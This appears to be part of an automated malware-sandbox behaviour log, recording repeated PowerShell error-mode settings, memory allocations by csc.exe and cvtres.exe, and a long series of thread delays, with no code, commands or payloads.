Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Memory allocated: 5820000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Memory allocated: 7440000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Memory allocated: 7080000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Memory allocated: 12E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Memory allocated: 2FC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Memory allocated: 1530000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 599668	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 599323	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 598962	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 598842	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 598734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 598619	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 597719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 597468	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 597140	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 597031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 596922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 596812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 596593	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 596374	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 596264	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 596155	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 596046	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 595937	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 595827	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 595718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 595598	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 595463	Jump to behavior
